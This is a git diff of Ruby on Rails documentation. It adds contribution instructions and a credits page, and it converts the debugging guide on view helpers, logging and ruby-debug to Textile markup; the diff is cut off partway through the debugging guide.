+Rails uses git for source code control. You won’t be able to do anything without the Rails source code, and this is a prerequisite. The "git homepage":http://git-scm.com/ has installation instructions. If you’re on OS X, use the "Git for OS X":http://code.google.com/p/git-osx-installer/ installer. If you're unfamiliar with git, there are a variety of resources on the net that will help you learn more:
+
+* "Everyday Git":http://www.kernel.org/pub/software/scm/git/docs/everyday.html will teach you just enough about git to get by.
+* The "PeepCode screencast":https://peepcode.com/products/git on git ($9) is easier to follow.
+* "GitHub":http://github.com/guides/home offers links to a variety of git resources.
+
+h4. Get the Rails Source Code
+
+Don’t fork the main Rails repository. Instead, you want to clone it to your own computer. Navigate to the folder where you want the source code (it will create its own /rails subdirectory) and run:
+
+<shell>
+git clone git://github.com/rails/rails.git
+cd rails
+</shell>
+
+h4. Set up and Run the Tests
+
+All of the Rails tests must pass with any code you submit, otherwise you have no chance of getting code accepted. This means you need to be able to run the tests. For the tests that touch the database, this means creating the databases. If you're using MySQL:
+
+<shell>
+mysql> create database activerecord_unittest;
+mysql> create database activerecord_unittest2;
+mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.*
+ to 'rails'@'localhost';
+mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.*
+ to 'rails'@'localhost';
+</shell>
+
+If you’re using another database, check the files under +activerecord/test/connections+ in the Rails source code for default connection information. You can edit these files if you _must_ on your machine to provide different credentials, but obviously you should not push any such changes back to Rails.
+
+Now if you go back to the root of the Rails source on your machine and run +rake+ with no parameters, you should see every test in all of the Rails components pass. If you want to run the all ActiveRecord tests (or just a single one) with another database adapter, enter this from the +activerecord+ directory:
+
+<shell>
+rake test_sqlite3
+rake test_sqlite3 TEST=test/cases/validations_test.rb
+</shell>
+
+You can change +sqlite3+ with +jdbcmysql+, +jdbcsqlite3+, +jdbcpostgresql+, +mysql+ or +postgresql+. Check out the file +activerecord/RUNNING_UNIT_TESTS+ for information on running more targeted database tests, or the file +ci/ci_build.rb+ to see the test suite that the Rails continuous integration server runs.
+
+
+
+NOTE: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, SQLite 2, and SQLite 3. Subtle differences between the various Active Record database adapters have been behind the rejection of many patches that looked OK when tested only against MySQL.
+
+h3. Helping to Resolve Existing Issues
+
+As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the "open tickets":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets?q=state%3Aopen list in Lighthouse, you'll find hundreds of issues already requiring attention. What can you do for these? Quite a bit, actually:
+
+h4. Verifying Bug Reports
+
+For starters, it helps to just verify bug reports. Can you reproduce the reported issue on your own computer? If so, you can add a comment to the ticket saying that you're seeing the same thing.
+
+If something is very vague, can you help squish it down into something specific? Maybe you can provide additional information to help reproduce a bug, or eliminate needless steps that aren't required to help demonstrate the problem.
+
+If you find a bug report without a test, it's very useful to contribute a failing test. This is also a great way to get started exploring the Rails source: looking at the existing test files will teach you how to write more tests for Rails. New tests are best contributed in the form of a patch, as explained later on in the "Contributing to the Rails Code" section.
+
+Anything you can do to make bug reports more succinct or easier to reproduce is a help to folks trying to write code to fix those bugs - whether you end up writing the code yourself or not.
+
+h4. Testing Patches
+
+You can also help out by examining patches that have been submitted to Rails via Lighthouse. To apply someone's changes you need to first create a branch of the Rails source code:
+
+<shell>
+git checkout -b testing_branch
+</shell>
+
+Then you can apply their patch:
+
+<shell>
+git am < their-patch-file.diff
+</shell>
+
+After applying a patch, test it out! Here are some things to think about:
+
+* Does the patch actually work?
+* Are you happy with the tests? Can you follow what they're testing? Are there any tests missing?
+* Does the documentation still seem right to you?
+* Do you like the implementation? Can you think of a nicer or faster way to implement a part of their change?
+
+Once you're happy that the patch contains a good change, comment on the Lighthouse ticket indicating your approval. Your comment should indicate that you like the change and what you like about it. Something like:
+
+<blockquote>
+I like the way you've restructured that code in generate_finder_sql, much nicer. The tests look good too.
+</blockquote>
+
+If your comment simply says "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the patch. Once three people have approved it, add the "verified" tag. This will bring it to the attention of a core team member who will review the changes looking for the same kinds of things.
+
+h3. Contributing to the Rails Documentation
+
+Another area where you can help out if you're not yet ready to take the plunge to writing Rails core code is with Rails documentation. You can help with the Rails Guides or the Rails API documentation.
+
+TIP: "docrails":http://github.com/lifo/docrails/tree/master is the documentation branch for Rails with an *open commit policy*. You can simply PM "lifo":http://github.com/lifo on Github and ask for the commit rights. Documentation changes made as part of the "docrails":http://github.com/lifo/docrails/tree/master project, are merged back to the Rails master code from time to time. Check out the "original announcement":http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch for more details.
+
+h4. The Rails Guides
+
+The "Rails Guides":http://guides.rubyonrails.org/ are a set of online resources that are designed to make people productive with Rails and to understand how all of the pieces fit together. These guides (including this one!) are written as part of the "docrails":http://github.com/lifo/docrails/tree/master project. If you have an idea for a new guide, or improvements for an existing guide, you can refer to the "contribution page":contribute.html for instructions on getting involved.
+
+h4. The Rails API Documentation
+
+The "Rails API documentation":http://api.rubyonrails.org/ is automatically generated from the Rails source code via "RDoc":http://rdoc.rubyforge.org/. If you find some part of the documentation to be incomplete, confusing, or just plain wrong, you can step in and fix it.
+
+To contribute an update to the API documentation, you can contact "lifo":http://github.com/lifo on GitHub and ask for commit rights to the docrails repository and push your changes to the docrails repository. Please follow the "docrails RDoc conventions":http://wiki.github.com/lifo/docrails/rails-api-documentation-conventions when contributing the changes.
+
+h3. The Rails Wiki
+
+The "Rails wiki":http://wiki.rubyonrails.org/ is a collection of user-generated and freely-editable information about Rails. It covers everything from getting started to FAQs to how-tos and popular plugins. To contribute to the wiki, just find some useful information that isn't there already and add it. There are style guidelines to help keep the wiki a coherent resources; see the section on "contributing to the wiki":http://wiki.rubyonrails.org/#contributing_to_the_wiki for more details.
+
+h3. Contributing to the Rails Code
+
+When you're ready to take the plunge, one of the most helpful ways to contribute to Rails is to actually submit source code. Here's a step-by-step listing of the things you need to do to make this a successful experience.
+
+h4. Learn the Language and the Framework
+
+Learn at least _something_ about Ruby and Rails. If you don’t understand the syntax of the language, common Ruby idioms, and the code that already exists in Rails, you’re unlikely to be able to build a good patch (that is, one that will get accepted). You don’t have to know every in-and-out of the language and the framework; some of the Rails code is fiendishly complex. But Rails is probably not appropriate as the first place that you ever write Ruby code. You should at least understand (though not necessarily memorize) "The Ruby Programming Language":http://www.amazon.com/gp/product/0596516177?ie=UTF8&linkCode=as2&camp=1789&creative=390957&creativeASIN=0596516177 and have browsed the Rails source code.
+
+h4. Fork the Rails Source Code
+
+Fork Rails. You’re not going to put your patches right into the master branch, OK? This is where you need that copy of Rails that you cloned earlier. Think of a name for your new branch and run
+
+<shell>
+git checkout -b my_new_branch
+</shell>
+
+It doesn’t really matter what name you use, because this branch will only exist on your local computer.
+
+h4. Write Your Code
+
+Now get busy and add your code to Rails (or edit the existing code). You’re on your branch now, so you can write whatever you want (you can check to make sure you’re on the right branch with +git branch -a+). But if you’re planning to submit your change back for inclusion in Rails, keep a few things in mind:
+
+* Get the code right
+* Use Rails idioms and helpers
+* Include tests that fail without your code, and pass with it
+* Update the documentation
+
+h4. Sanity Check
+
+You should not be the only person who looks at the code before you submit it. You know at least one other Rails developer, right? Show them what you’re doing and ask for feedback. Doing this in private before you push a patch out publicly is the “smoke test” for a patch: if you can’t convince one other developer of the beauty of your code, you’re unlikely to convince the core team either.
+
+h4. Commit Your Changes
+
+When you're happy with the code on your computer, you need to commit the changes to git:
+
+<shell>
+git commit -a -m "Here is a commit message"
+</shell>
+
+h4. Update Rails
+
+Update your copy of Rails. It’s pretty likely that other changes to core Rails have happened while you were working. Go get them:
+
+<shell>
+git checkout master
+git pull
+</shell>
+
+Now reapply your patch on top of the latest changes:
+
+<shell>
+git checkout my_new_branch
+git rebase master
+</shell>
+
+No conflicts? Tests still pass? Change still seems reasonable to you? Then move on.
+
+h4. Create a Patch
+
+Now you can create a patch file to share with other developers (and with the Rails core team). Still in your branch, run
+
+<shell>
+git commit -a
+git format-patch master --stdout > my_new_patch.diff
+</shell>
+
+Sanity check the results of this operation: open the diff file in your text editor of choice and make sure that no unintended changes crept in.
+
+h4. Create a Lighthouse Ticket
+
+Now create a ticket with your patch. Go to the "new ticket":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/new page at Lighthouse. Fill in a reasonable title and description, remember to attach your patch file, and tag the ticket with the ‘patch’ tag and whatever other subject area tags make sense.
+
+h4. Get Some Feedback
+
+Now you need to get other people to look at your patch, just as you've looked at other people's patches. You can use the rubyonrails-core mailing list or the #rails-contrib channel on IRC freenode for this. You might also try just talking to Rails developers that you know.
+
+h4. Iterate as Necessary
+
+It’s entirely possible that the feedback you get will suggest changes. Don’t get discouraged: the whole point of contributing to an active open source project is to tap into community knowledge. If people are encouraging you to tweak your code, then it’s worth making the tweaks and resubmitting. If the feedback is that your code doesn’t belong in the core, you might still think about releasing it as a plugin.
+
+And then...think about your next contribution!
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/64
+
+* March 2, 2009: Initial draft by "Mike Gunderloy":credits.html#mgunderloy
+
+
diff --git a/railties/guides/source/credits.erb.textile b/railties/guides/source/credits.erb.textile
new file mode 100644
index 0000000000..b09a931fd6
--- /dev/null
+++ b/railties/guides/source/credits.erb.textile
@@ -0,0 +1,52 @@
+<% content_for :header_section do %>
+h2. Credits
+
+p. We'd like to thank the following people for their tireless contributions to this project.
+
+<% end %>
+
+<h3 class="section">Rails Documentation Team</h3>
+
+<% author('Mike Gunderloy', 'mgunderloy') do %>
+ Mike Gunderloy is a consultant with "ActionRails":http://www.actionrails.com and also a member of the "Rails activism team":http://rubyonrails.org/activists . He brings 25 years of experience in a variety of languages to bear on his current work with Rails. His near-daily links and other blogging can be found at "A Fresh Cup":http://afreshcup.com and he "twitters":http://twitter.com/MikeG1 too much.
+<% end %>
+
+<% author('Pratik Naik', 'lifo') do %>
+ Pratik Naik is a Ruby on Rails consultant with "ActionRails":http://www.actionrails.com and also a member of the "Rails core team":http://rubyonrails.org/core. He maintains a blog at "has_many :bugs, :through => :rails":http://m.onkey.org and has an active "twitter account":http://twitter.com/lifo.
+<% end %>
+
+<% author('Xavier Noria', 'fxn', 'fxn.jpg') do %>
+ Xavier Noria has been around dynamic languages since 2000. He fell in love with Rails in 2005, and cofounded Rails-based software company <a href="http://www.aspgems.com">ASPgems</a> in mid-2006. Xavier is president of the <a href="http://www.srug.org/">Spanish Ruby Users Group</a> and has been involved in Rails in several ways. He enjoys combining his passion for Rails and his past life as a proofreader of math textbooks. Oh, he also "tweets":http://twitter.com/fxn!
+<% end %>
+
+<h3 class="section">Rails Guides Designers</h3>
+
+<% author('Jason Zimdars', 'jz') do %>
+ Jason Zimdars is an experienced creative director and web designer who has lead UI and UX design for numerous websites and web applications. You can see more of his design and writing at <a href="http://www.thinkcage.com/">Thinkcage.com</a> or follow him on <a href="http://twitter.com/JZ">Twitter</a>.
+<% end %>
+
+<h3 class="section">Rails Guides Authors</h3>
+
+<% author('Frederick Cheung', 'fcheung') do %>
+ Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006. He is based in Cambridge (UK) and when not consuming fine ales he blogs at "spacevatican.org":http://www.spacevatican.org.
+<% end %>
+
+<% author('Tore Darell', 'toretore') do %>
+ Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. His home on the internet is his blog "Sneaky Abstractions":http://tore.darell.no.
+<% end %>
+
+<% author('Jeff Dean', 'zilkey') do %>
+ Jeff Dean is a software engineer with "Pivotal Labs":http://pivotallabs.com.
+<% end %>
+
+<% author('Cássio Marques', 'cmarques') do %>
+ Cássio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, CPP and Java, as an independent consultant. He blogs at "/* CODIFICANDO */":http://cassiomarques.wordpress.com, which is mainly written in Portuguese, but will soon get a new section for posts with English translation.
+<% end %>
+
+<% author('Emilio Tagua', 'miloops') do %>
+ Emilio Tagua -- a.k.a. miloops -- is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist. Cofounder of "Eventioz":http://eventioz.com. He has been using Rails since 2006 and contributing since early 2008. Can be found at gmail, twitter, freenode, everywhere as miloops.
+<% end %>
+
+<% author('Heiko Webers', 'hawe') do %>
+ Heiko Webers is the founder of "bauland42":http://www.bauland42.de, a German web application security consulting and development company focused on Ruby on Rails. He blogs at the "Ruby on Rails Security Project":http://www.rorsecurity.info. After 10 years of desktop application development, Heiko has rarely looked back.
+<% end %>
diff --git a/railties/doc/guides/source/debugging_rails_applications.txt b/railties/guides/source/debugging_rails_applications.textile
index 4425d9240b..c059fdabf8 100644
--- a/railties/doc/guides/source/debugging_rails_applications.txt
+++ b/railties/guides/source/debugging_rails_applications.textile
@@ -1,5 +1,4 @@
-Debugging Rails Applications
-============================
+h2. Debugging Rails Applications
This guide introduces techniques for debugging Ruby on Rails applications. By referring to this guide, you will be able to:
@@ -8,30 +7,31 @@ This guide introduces techniques for debugging Ruby on Rails applications. By re
* Learn the different ways of debugging
* Analyze the stack trace
-== View Helpers for Debugging
+endprologue.
+
+h3. View Helpers for Debugging
One common task is to inspect the contents of a variable. In Rails, you can do this with three methods:
-* `debug`
-* `to_yaml`
-* `inspect`
+* +debug+
+* +to_yaml+
+* +inspect+
-=== debug
+h4. +debug+
-The `debug` helper will return a <pre>-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
+The +debug+ helper will return a &lt;pre&gt;-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
-[source, html]
-----------------------------------------------------------------------------
+<html>
<%= debug @post %>
<p>
<b>Title:</b>
<%=h @post.title %>
</p>
-----------------------------------------------------------------------------
+</html>
You'll see something like this:
-----------------------------------------------------------------------------
+<yaml>
--- !ruby/object:Post
attributes:
updated_at: 2008-09-05 22:55:47
@@ -44,26 +44,25 @@ attributes_cache: {}
Title: Rails debugging guide
-----------------------------------------------------------------------------
+</yaml>
-=== to_yaml
+h4. +to_yaml+
Displaying an instance variable, or any other object or method, in yaml format can be achieved this way:
-[source, html]
-----------------------------------------------------------------------------
+<html>
<%= simple_format @post.to_yaml %>
<p>
<b>Title:</b>
<%=h @post.title %>
</p>
-----------------------------------------------------------------------------
+</html>
-The `to_yaml` method converts the method to YAML format leaving it more readable, and then the `simple_format` helper is used to render each line as in the console. This is how `debug` method does its magic.
+The +to_yaml+ method converts the method to YAML format leaving it more readable, and then the +simple_format+ helper is used to render each line as in the console. This is how +debug+ method does its magic.
As a result of this, you will have something like this in your view:
-----------------------------------------------------------------------------
+<yaml>
--- !ruby/object:Post
attributes:
updated_at: 2008-09-05 22:55:47
@@ -75,109 +74,98 @@ created_at: 2008-09-05 22:55:47
attributes_cache: {}
Title: Rails debugging guide
-----------------------------------------------------------------------------
+</yaml>
-=== inspect
+h4. +inspect+
-Another useful method for displaying object values is `inspect`, especially when working with arrays or hashes. This will print the object value as a string. For example:
+Another useful method for displaying object values is +inspect+, especially when working with arrays or hashes. This will print the object value as a string. For example:
-[source, html]
-----------------------------------------------------------------------------
+<html>
<%= [1, 2, 3, 4, 5].inspect %>
<p>
<b>Title:</b>
<%=h @post.title %>
</p>
-----------------------------------------------------------------------------
+</html>
Will be rendered as follows:
-----------------------------------------------------------------------------
+<pre>
[1, 2, 3, 4, 5]
Title: Rails debugging guide
-----------------------------------------------------------------------------
+</pre>
-=== Debugging Javascript
+h4. Debugging JavaScript
-Rails has built-in support to debug RJS, to active it, set `ActionView::Base.debug_rjs` to _true_, this will specify whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it).
+Rails has built-in support to debug RJS, to active it, set +ActionView::Base.debug_rjs+ to _true_, this will specify whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it).
-To enable it, add the following in the `Rails::Initializer do |config|` block inside +environment.rb+:
+To enable it, add the following in the +Rails::Initializer do |config|+ block inside +environment.rb+:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
config.action_view[:debug_rjs] = true
-----------------------------------------------------------------------------
+</ruby>
-Or, at any time, setting `ActionView::Base.debug_rjs` to _true_:
+Or, at any time, setting +ActionView::Base.debug_rjs+ to _true_:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
ActionView::Base.debug_rjs = true
-----------------------------------------------------------------------------
+</ruby>
-[TIP]
-For more information on debugging javascript refer to link:http://getfirebug.com/[Firebug], the popular debugger for Firefox.
+TIP: For more information on debugging javascript refer to "Firebug":http://getfirebug.com/, the popular debugger for Firefox.
-== The Logger
+h3. The Logger
It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.
-=== What is The Logger?
+h4. What is the Logger?
-Rails makes use of Ruby's standard `logger` to write log information. You can also substitute another logger such as `Log4R` if you wish.
+Rails makes use of Ruby's standard +logger+ to write log information. You can also substitute another logger such as +Log4R+ if you wish.
You can specify an alternative logger in your +environment.rb+ or any environment file:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
ActiveRecord::Base.logger = Logger.new(STDOUT)
ActiveRecord::Base.logger = Log4r::Logger.new("Application Log")
-----------------------------------------------------------------------------
+</ruby>
Or in the +Initializer+ section, add _any_ of the following
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
config.logger = Logger.new(STDOUT)
config.logger = Log4r::Logger.new("Application Log")
-----------------------------------------------------------------------------
+</ruby>
-[TIP]
-By default, each log is created under `RAILS_ROOT/log/` and the log file name is +environment_name.log+.
+TIP: By default, each log is created under +RAILS_ROOT/log/+ and the log file name is +environment_name.log+.
-=== Log Levels
+h4. Log Levels
-When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the `ActiveRecord::Base.logger.level` method.
+When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the +ActiveRecord::Base.logger.level+ method.
The available log levels are: +:debug+, +:info+, +:warn+, +:error+, and +:fatal+, corresponding to the log level numbers from 0 up to 4 respectively. To change the default log level, use
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
config.log_level = Logger::WARN # In any environment initializer, or
ActiveRecord::Base.logger.level = 0 # at any time
-----------------------------------------------------------------------------
+</ruby>
This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information.
-[TIP]
-The default Rails log level is +info+ in production mode and +debug+ in development and test mode.
+TIP: The default Rails log level is +info+ in production mode and +debug+ in development and test mode.
-=== Sending Messages
+h4. Sending Messages
-To write in the current log use the `logger.(debug|info|warn|error|fatal)` method from within a controller, model or mailer:
+To write in the current log use the +logger.(debug|info|warn|error|fatal)+ method from within a controller, model or mailer:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
logger.debug "Person attributes hash: #{@person.attributes.inspect}"
logger.info "Processing the request..."
logger.fatal "Terminating application, raised unrecoverable error!!!"
-----------------------------------------------------------------------------
+</ruby>
Here's an example of a method instrumented with extra logging:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
class PostsController < ApplicationController
# ...
@@ -197,99 +185,95 @@ class PostsController < ApplicationController
# ...
end
-----------------------------------------------------------------------------
+</ruby>
Here's an example of the log generated by this method:
-----------------------------------------------------------------------------
+<shell>
Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
- Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails",
- "body"=>"I'm learning how to print in logs!!!", "published"=>"0"},
+ Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails",
+ "body"=>"I'm learning how to print in logs!!!", "published"=>"0"},
"authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"posts"}
-New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
+New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
"published"=>false, "created_at"=>nil}
Post should be valid: true
- Post Create (0.000443) INSERT INTO "posts" ("updated_at", "title", "body", "published",
- "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
+ Post Create (0.000443) INSERT INTO "posts" ("updated_at", "title", "body", "published",
+ "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
The post was saved and now is the user is going to be redirected...
Redirected to #<Post:0x20af760>
Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]
-----------------------------------------------------------------------------
+</shell>
Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia.
-== Debugging with ruby-debug
+h3. Debugging with +ruby-debug+
When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.
The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.
-=== Setup
+h4. Setup
The debugger used by Rails, +ruby-debug+, comes as a gem. To install it, just run:
-[source, shell]
-----------------------------------------------------------------------------
+<shell>
$ sudo gem install ruby-debug
-----------------------------------------------------------------------------
+</shell>
-In case you want to download a particular version or get the source code, refer to the link:http://rubyforge.org/projects/ruby-debug/[project's page on rubyforge].
+In case you want to download a particular version or get the source code, refer to the "project's page on rubyforge":http://rubyforge.org/projects/ruby-debug/.
-Rails has had built-in support for ruby-debug since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the `debugger` method.
+Rails has had built-in support for ruby-debug since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the +debugger+ method.
Here's an example:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
class PeopleController < ApplicationController
def new
debugger
@person = Person.new
end
end
-----------------------------------------------------------------------------
+</ruby>
If you see the message in the console or logs:
-----------------------------------------------------------------------------
+<shell>
***** Debugger requested, but was not available: Start server with --debugger to enable *****
-----------------------------------------------------------------------------
+</shell>
Make sure you have started your web server with the option +--debugger+:
-[source, shell]
-----------------------------------------------------------------------------
+<shell>
~/PathTo/rails_project$ script/server --debugger
=> Booting Mongrel (use 'script/server webrick' to force WEBrick)
=> Rails 2.2.0 application starting on http://0.0.0.0:3000
=> Debugger enabled
...
-----------------------------------------------------------------------------
+</shell>
-[TIP]
-In development mode, you can dynamically `require \'ruby-debug\'` instead of restarting the server, if it was started without `--debugger`.
+TIP: In development mode, you can dynamically +require \'ruby-debug\'+ instead of restarting the server, if it was started without +--debugger+.
In order to use Rails debugging you'll need to be running either *WEBrick* or *Mongrel*. For the moment, no alternative servers are supported.
-=== The Shell
+h4. The Shell
-As soon as your application calls the `debugger` method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at ruby-debug's prompt `(rdb:n)`. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run.
+As soon as your application calls the +debugger+ method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at ruby-debug's prompt +(rdb:n)+. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run.
If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.
For example:
-----------------------------------------------------------------------------
+<shell>
@posts = Post.find(:all)
(rdb:7)
-----------------------------------------------------------------------------
+</shell>
-Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help... so type: `help` (You didn't see that coming, right?)
+Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help... so type: +help+ (You didn't see that coming, right?)
-----------------------------------------------------------------------------
+<shell>
(rdb:7) help
ruby-debug help v0.10.2
Type 'help <command-name>' for help on a specific command
@@ -300,16 +284,15 @@ break disable eval info p reload source undisplay
catch display exit irb pp restart step up
condition down finish list ps save thread var
continue edit frame method putl set tmate where
-----------------------------------------------------------------------------
+</shell>
-[TIP]
-To view the help menu for any command use `help <command-name>` in active debug mode. For example: _+help var+_
+TIP: To view the help menu for any command use +help <command-name>+ in active debug mode. For example: _+help var+_
-The next command to learn is one of the most useful: `list`. You can also abbreviate ruby-debug commands by supplying just enough letters to distinguish them from other commands, so you can also use +l+ for the +list+ command.
+The next command to learn is one of the most useful: +list+. You can also abbreviate ruby-debug commands by supplying just enough letters to distinguish them from other commands, so you can also use +l+ for the +list+ command.
This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by +=>+.
-----------------------------------------------------------------------------
+<shell>
(rdb:7) list
[1, 10] in /PathToProject/posts_controller.rb
1 class PostsController < ApplicationController
@@ -322,11 +305,11 @@ This command shows you where you are in the code by printing 10 lines centered a
8 respond_to do |format|
9 format.html # index.html.erb
10 format.xml { render :xml => @posts }
-----------------------------------------------------------------------------
+</shell>
-If you repeat the +list+ command, this time using just `l`, the next ten lines of the file will be printed out.
+If you repeat the +list+ command, this time using just +l+, the next ten lines of the file will be printed out.
-----------------------------------------------------------------------------
+<shell>
(rdb:7) l
[11, 20] in /PathTo/project/app/controllers/posts_controller.rb
11 end
@@ -339,19 +322,19 @@ If you repeat the +list+ command, this time using just `l`, the next ten lines o
18
19 respond_to do |format|
20 format.html # show.html.erb
-----------------------------------------------------------------------------
+</shell>
And so on until the end of the current file. When the end of file is reached, the +list+ command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.
-=== The Context
+h4. The Context
When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.
ruby-debug creates a content when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.
-At any time you can call the `backtrace` command (or its alias `where`) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then `backtrace` will supply the answer.
+At any time you can call the +backtrace+ command (or its alias +where+) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then +backtrace+ will supply the answer.
-----------------------------------------------------------------------------
+<shell>
(rdb:5) where
#0 PostsController.index
at line /PathTo/project/app/controllers/posts_controller.rb:6
@@ -362,122 +345,118 @@ At any time you can call the `backtrace` command (or its alias `where`) to print
#3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
...
-----------------------------------------------------------------------------
+</shell>
-You move anywhere you want in this trace (thus changing the context) by using the `frame _n_` command, where _n_ is the specified frame number.
+You move anywhere you want in this trace (thus changing the context) by using the +frame _n_+ command, where _n_ is the specified frame number.
-----------------------------------------------------------------------------
+<shell>
(rdb:5) frame 2
#2 ActionController::Base.perform_action_without_filters
at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
-----------------------------------------------------------------------------
+</shell>
The available variables are the same as if you were running the code line by line. After all, that's what debugging is.
-Moving up and down the stack frame: You can use `up [n]` (`u` for abbreviated) and `down [n]` commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.
+Moving up and down the stack frame: You can use +up [n]+ (+u+ for abbreviated) and +down [n]+ commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.
-=== Threads
+h4. Threads
-The debugger can list, stop, resume and switch between running threads by using the command `thread` (or the abbreviated `th`). This command has a handful of options:
+The debugger can list, stop, resume and switch between running threads by using the command +thread+ (or the abbreviated +th+). This command has a handful of options:
-* `thread` shows the current thread.
-* `thread list` is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.
-* `thread stop _n_` stop thread _n_.
-* `thread resume _n_` resumes thread _n_.
-* `thread switch _n_` switches the current thread context to _n_.
+* +thread+ shows the current thread.
+* +thread list+ is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.
+* +thread stop _n_+ stop thread _n_.
+* +thread resume _n_+ resumes thread _n_.
+* +thread switch _n_+ switches the current thread context to _n_.
This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.
-=== Inspecting Variables
+h4. Inspecting Variables
Any expression can be evaluated in the current context. To evaluate an expression, just type it!
This example shows how you can print the instance_variables defined within the current context:
-----------------------------------------------------------------------------
+<shell>
@posts = Post.find(:all)
(rdb:11) instance_variables
["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"]
-----------------------------------------------------------------------------
+</shell>
-As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using `next` (you'll learn more about this command later in this guide).
+As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using +next+ (you'll learn more about this command later in this guide).
-----------------------------------------------------------------------------
+<shell>
(rdb:11) next
Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
Parameters: {"action"=>"index", "controller"=>"posts"}
/PathToProject/posts_controller.rb:8
respond_to do |format|
--------------------------------------------------------------------------------
